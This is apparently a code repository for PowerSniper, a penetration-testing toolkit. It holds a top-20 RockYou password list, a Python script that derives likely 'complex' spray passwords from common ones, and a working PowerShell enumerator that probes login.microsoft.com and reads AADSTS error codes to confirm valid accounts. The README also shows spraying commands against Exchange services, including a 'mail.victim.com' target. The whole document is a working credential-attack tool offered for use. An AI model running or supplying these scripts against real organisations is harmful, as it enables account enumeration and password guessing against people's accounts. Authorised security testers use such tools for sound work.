├── toplist_rockyou.txt ├── passdist.py ├── PowerEnum.ps1 └── README.md /toplist_rockyou.txt: -------------------------------------------------------------------------------- 1 | password 2 | iloveyou 3 | princess 4 | rockyou 5 | nicole 6 | abc123 7 | daniel 8 | babygirl 9 | monkey 10 | lovely 11 | jessica 12 | michael 13 | ashley 14 | qwerty 15 | iloveu 16 | michelle 17 | tigger 18 | sunshine 19 | chocolate 20 | soccer -------------------------------------------------------------------------------- /passdist.py: -------------------------------------------------------------------------------- 1 | import jellyfish 2 | import argparse 3 | import re 4 | 5 | # Get arguments passed from command line 6 | parser = argparse.ArgumentParser(prog='rockdist.py', 7 | formatter_class=argparse.ArgumentDefaultsHelpFormatter, 8 | description='Get the distances between complex passwords and top passwords used', 9 | epilog='Example: passdist.py --wordlist rockyou.txt --toplist toplist_rockyou.txt --output analysis.csv --passmin 7 --passmax 12 --complex --passdist 4') 10 | parser.add_argument('--wordlist', 11 | required=True, 12 | help='the file with the complex rockyou passwords') 13 | parser.add_argument('--toplist', 14 | required=True, 15 | help='the file with the top rockyou passwords') 16 | parser.add_argument('--output', 17 | default='analysis.csv', 18 | help='the CSV output of the analysis') 19 | parser.add_argument('--passmin', 20 | default=7, 21 | help='the minimum size password to choose from') 22 | parser.add_argument('--passmax', 23 | default=12, 24 | help='the maximum size password to choose from') 25 | parser.add_argument('--complex', 26 | action='store_const', 27 | const=1, 28 | default=1, 29 | help='require complex passwords') 30 | parser.add_argument('--passdist', 31 | default=4, 32 | help='the maximum distance between passwords to keep') 33 | 34 | # Set defaults if switches aren't used 35 | parser.set_defaults(output='analysis.csv',min=7,max=12,complex=0) 36 | 37 | # Stick arguments in a variable 38 | args = vars(parser.parse_args()) 39 | 40 | # Open file with complex passwords 41 | wordlist = open(args['wordlist']) 42 | 43 | # Open file with top passwords 44 | toplist = open(args['toplist']) 45 | 46 | # Open output file 47 | output = open(args['output'], 'w') 48 | 49 | # Write CSV header 50 | output.write('Top Password,Complex Password,Diff\n') 51 | 52 | # Generate a dict of top rockyou passwords 53 | toppasswords = [] 54 | for topword in toplist.readlines(): 55 | 56 | # Add to toppasswords dict and remove newlines 57 | toppasswords.append(topword.rstrip("\n\r")) 58 | 59 | # Close the list of top passwords as it is no longer needed 60 | toplist.close() 61 | 62 | # Generate a dict of rockyou complex passwords 63 | comppasswords = [] 64 | for compword in wordlist.readlines(): 65 | 66 | # Add to comppasswords dict and remove newlines 67 | #comppasswords.append(compword.rstrip("\n\r")) 68 | 69 | # Remove new lines 70 | compword = compword.rstrip("\n\r") 71 | 72 | # Check the size of the password, only add if within range 73 | if len(compword) >= int(args['passmin']) and len(compword) <= int(args['passmax']): 74 | 75 | # Check whether we are only keeping complex passwords 76 | if args['complex'] == 1: 77 | 78 | # Compare password to complexity rules of upper and lowercase, numbers, and special characters 79 | if re.search('[a-z]', compword) and re.search('[A-Z]', compword) and re.search('[0-9]', compword) and re.search("[!@#$%^&*().?/:;<>,\`~\-_+='{}\"\[|]", compword): 80 | 81 | # Add to comppasswords dict if the password is within the range and complex 82 | comppasswords.append(compword) 83 | else: 84 | 85 | # Add to comppasswords if within the range and we don't care about complexity 86 | comppasswords.append(compword) 87 | 88 | # Close the password list as it is no longer needed 89 | wordlist.close() 90 | 91 | # Loop through the top rockyou passwords 92 | for topword in toppasswords: 93 | 94 | # Look through the complex passwords, comparing against the top rockyou passwords 95 | for compword in comppasswords: 96 | 97 | # If we can't convert to unicode, move on 98 | try: 99 | 100 | # Perform Damerau-Levenshtein Distance Comparison 101 | distance = jellyfish.damerau_levenshtein_distance(unicode(topword), unicode(compword)) 102 | 103 | # If the distance is less than or equal to the command line option, then log in report 104 | if int(distance) <= int(args['passdist']): 105 | 106 | # Output results to file, fixup by escaping double quotes 107 | output.write('"'+topword.replace('"', '""')+'","'+compword.replace('"', '""')+'",'+str(distance)+'\n') 108 | 109 | except: 110 | pass 111 | 112 | # Close the analysis file 113 | output.close() -------------------------------------------------------------------------------- /PowerEnum.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-PowerEnum { 2 | <# 3 | .SYNOPSIS 4 | 5 | This module loops through usernames to validate accounts on MSOL. 6 | 7 | PowerEnum Function: Invoke-PowerEnum 8 | Author: Josh Berry (@codewatchorg) 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | This module loops through usernames to spray against Microsoft Online to identify valid accounts. 16 | 17 | .PARAMETER userlist 18 | 19 | Path to a text file containing a list of users. In many organizations, the username should be the email address. 20 | 21 | .EXAMPLE 22 | 23 | C:\PS> Invoke-PowerSniper -userlist users.txt 24 | 25 | Description 26 | ----------- 27 | This command will attempt to authenticate against the MS Online using the usernames in the users.txt file. 28 | 29 | .LINK 30 | 31 | https://github.com/dafthack/MSOLSpray 32 | #> 33 | 34 | # Do not report exceptions and set variables 35 | param($userlist); 36 | 37 | # Set encoding to UTF8 38 | $EncodingForm = [System.Text.Encoding]::UTF8; 39 | 40 | # Function to authenticate to Microsoft Online service 41 | function AuthMsOl { 42 | param($username, $password) 43 | 44 | # Set default status to failure 45 | $AuthStatus = "Failure"; 46 | 47 | # Attempt a MS Online connection to the host 48 | Try { 49 | # Create a web request 50 | $BodyParams = @{'resource' = 'https://graph.windows.net'; 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894' ; 'client_info' = '1' ; 'grant_type' = 'password' ; 'username' = $username ; 'password' = $password ; 'scope' = 'openid'} 51 | $PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded'} 52 | $webrequest = Invoke-WebRequest https://login.microsoft.com/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr 53 | 54 | # If string contains 'command completed successfully' then the creds worked 55 | If ($webrequest.StatusCode -eq "200") { 56 | Write-Host "Account exists and authentication to Microsoft Online succeeded: $username / $password"; 57 | $AuthStatus = "Success"; 58 | } 59 | 60 | } Catch { 61 | If ($RespErr -match "AADSTS50055") { 62 | Write-Host "Account exists but password is expired, however; authentication to service Microsoft Online succeeded: $username / $password"; 63 | $AuthStatus = "Success"; 64 | } ElseIf ($RespErr -match "AADSTS50079") { 65 | Write-Host "Account exists but requires MFA, however; authentication to service Microsoft Online succeeded: $username / $password"; 66 | $AuthStatus = "Success"; 67 | } ElseIf ($RespErr -match "AADSTS50076") { 68 | Write-Host "Account exists but requires MFA, however; authentication to service Microsoft Online succeeded: $username / $password"; 69 | $AuthStatus = "Success"; 70 | } ElseIf ($RespErr -match "AADSTS50158") { 71 | Write-Host "Account exists but requires MFA, however; authentication to service Microsoft Online succeeded: $username / $password"; 72 | $AuthStatus = "Success"; 73 | } ElseIf ($RespErr -match "AADSTS50053") { 74 | Write-Host "Account exists but is currently locked: $username"; 75 | $AuthStatus = "Success"; 76 | } ElseIf ($RespErr -match "AADSTS50053") { 77 | Write-Host "Account exists but is disabled: $username"; 78 | $AuthStatus = "Success"; 79 | } ElseIf ($RespErr -match "AADSTS50126") { 80 | $AuthStatus = "Success"; 81 | } Else { 82 | $AuthStatus = "Failure"; 83 | } 84 | } 85 | 86 | # Return the result 87 | 88 | return $AuthStatus; 89 | } 90 | 91 | # Load username list into a variable 92 | [System.Collections.ArrayList]$usernames = Get-Content $userlist; 93 | 94 | # Loop through passwords, combine with each user 95 | Get-Content $userlist | ForEach-Object -Process { 96 | $user = $_; 97 | 98 | # Set default account status 99 | $AccountStatus = "Failure"; 100 | 101 | # Attempt authentication against Microsoft Online and check the status 102 | $AccountStatus = AuthMsOl -username $user -password 'password'; 103 | 104 | # If verbose mode is set, print off each connection attempt 105 | Write-Host "Connecting to https://login.microsoft.com using $user / password"; 106 | 107 | # If enumeration succeeded, write out the success info 108 | If ($AccountStatus -eq "Success") { 109 | Write-Host "Valid account identified for Microsoft Online: $user"; 110 | } 111 | } 112 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerSniper 2 | Password spraying script and helper for creating password lists. 3 | 4 | The Python script uses configurable parameters to extract complex passwords from a password list such as rockyou.txt. It then analyzes the Damerau-Levenshtein distance between that password and a list of common passwords (the text file in this repository is the top 20 most common rockyou passwords that could be easily modified to be a complex password, i.e. not the one's that are all digits). The script is configurable for the maximum distance to keep a password, with a default of 4, and will output results to a CSV file. 5 | 6 | The PowerShell script loops through usernames and passwords and attempts to authenticate with them against various Microsoft Exchange web-based services.  The script supports pausing after a specified lockout count for a specified period of time to prevent account lockouts. 7 | 8 | PowerSniper supports password spraying against the following services at this time: 9 | 10 | 18 | 19 | PowerEnum is a tool that performs account enumeration only. It sprays Microsoft Online with a given username list using a password of 'password' and identifies valid accounts based on error messages. 20 | 21 | The code that loads the Microsoft.Exchange.WebServices.dll for Outlook Anywhere authentication was found in the MailSniper tool (https://github.com/dafthack/MailSniper) created by @dafthack. 22 | 23 | Requirements 24 | ============ 25 | passdist.py requires jellyfish 26 | 27 | Usage 28 | ===== 29 |
 30 | usage: passdist.py [-h] --wordlist WORDLIST --toplist TOPLIST [--output OUTPUT] [--passmin PASSMIN] 
 31 |                         [--passmax PASSMAX] [--complex] [--passdist PASSDIST]
 32 |                         
 33 |   Get the distances between complex passwords and top passwords used
 34 | 
 35 |   optional arguments:  
 36 |     -h, --help           show this help message and exit  
 37 |     --wordlist WORDLIST  the file with the complex rockyou passwords (default: None)  
 38 |     --toplist TOPLIST    the file with the top rockyou passwords (default: None)  
 39 |     --output OUTPUT      the CSV output of the analysis (default: analysis.csv)  
 40 |     --passmin PASSMIN    the minimum size password to choose from (default: 7)  
 41 |     --passmax PASSMAX    the maximum size password to choose from (default: 12)  
 42 |     --complex            require complex passwords (default: 0)  
 43 |     --passdist PASSDIST  the maximum distance between passwords to keep (default: 4)
 44 | 
45 | 46 | Example passdist.py command: 47 |
 48 |     python passdist.py --wordlist rockyou.txt --toplist toplist_rockyou.txt --output lowdist.csv --passmin 7 
 49 |         --passmax 12 --complex --passdist 4
 50 | 
51 | 52 |
 53 | NAME    
 54 |   Invoke-PowerSniper
 55 |   
 56 | SYNOPSIS    
 57 |   This module loops through usernames and passwords and attempts to authenticate with them against various 
 58 |   Microsoft Exchange web-based services.
 59 |   
 60 |     PowerSniper Function: Invoke-PowerSniper    
 61 |     Author: Josh Berry (@codewatchorg)    
 62 |     License: BSD 3-Clause    
 63 |     Required Dependencies: None    
 64 |     Optional Dependencies: None
 65 | 
 66 | SYNTAX    
 67 |   Invoke-PowerSniper [[-uri] <Object>] [[-svc] <Object>] [[-userlist] <Object>] 
 68 |       [[-passlist] <Object>] [[-sos] <Object>] [[-lockout] <Object>] 
 69 |       [[-locktime] <Object>] [<CommonParameters>]
 70 | 
 71 | DESCRIPTION    
 72 |   This module loops through usernames and passwords and attempts to authenticate with them against 
 73 |   various Microsoft Exchange web-based services.  The script supports pausing after a specified 
 74 |   lockout count for a specified period of time to prevent account lockouts.
 75 | 
 76 | RELATED LINKS    
 77 |   https://blogs.technet.microsoft.com/meamcs/2015/03/06/powershell-script-to-simulate-outlook-web-access-url-user-logon/
 78 |   http://mobilitydojo.net/2010/03/30/rolling-your-own-exchange-activesync-client/
 79 |   http://mobilitydojo.net/2011/08/24/exchange-activesync-building-blocks-first-sync/
 80 |   http://mobilitydojo.net/files/EAS_BB/Part_02/HTTP_GET.cs
 81 |   https://blogs.technet.microsoft.com/heyscriptingguy/2011/12/02/learn-to-use-the-exchange-web-services-with-powershell/
 82 |   http://stackoverflow.com/questions/1582285/how-to-remove-elements-from-a-generic-list-while-iterating-over-it
 83 |   https://github.com/dafthack/MailSniper
 84 | 
85 | 86 | Example PowerSniper.ps1 usage: 87 |
 88 |     # Outlook Anywhere Test
 89 |     Invoke-PowerSniper -uri https://outlook.office365.com -svc oa -userlist users.txt -passlist passwords.txt 
 90 |         -sos false -lockout 6 -locktime 30
 91 |     
 92 |     # ActiveSync Test
 93 |     Invoke-PowerSniper -uri https://outlook.office365.com -svc as -userlist users.txt -passlist passwords.txt 
 94 |         -sos false -lockout 6 -locktime 30
 95 |     
 96 |     # Outlook Web Access Test
 97 |     Invoke-PowerSniper -uri https://mail.victim.com/owa/auth.owa -svc owa -userlist users.txt 
 98 |         -passlist passwords.txt -sos false -lockout 6 -locktime 30
 99 | 
100 | 101 |
102 | NAME    
103 |   Invoke-PowerEnum
104 |   
105 | SYNOPSIS    
106 |   This module loops through usernames to validate accounts on MSOL.
107 |   
108 |     PowerEnum Function: Invoke-PowerEnum    
109 |     Author: Josh Berry (@codewatchorg)    
110 |     License: BSD 3-Clause    
111 |     Required Dependencies: None    
112 |     Optional Dependencies: None
113 | 
114 | SYNTAX    
115 |   Invoke-PowerEnum [[-userlist] <Object>] 
116 | 
117 | DESCRIPTION    
118 |   This module loops through usernames to spray against Microsoft Online to identify valid accounts.
119 | 
120 | RELATED LINKS    
121 |   https://github.com/dafthack/MSOLSpray
122 | 
123 | 124 | Example PowerEnum.ps1 usage: 125 |
126 |     Invoke-PowerEnum -userlist
127 | 
128 | --------------------------------------------------------------------------------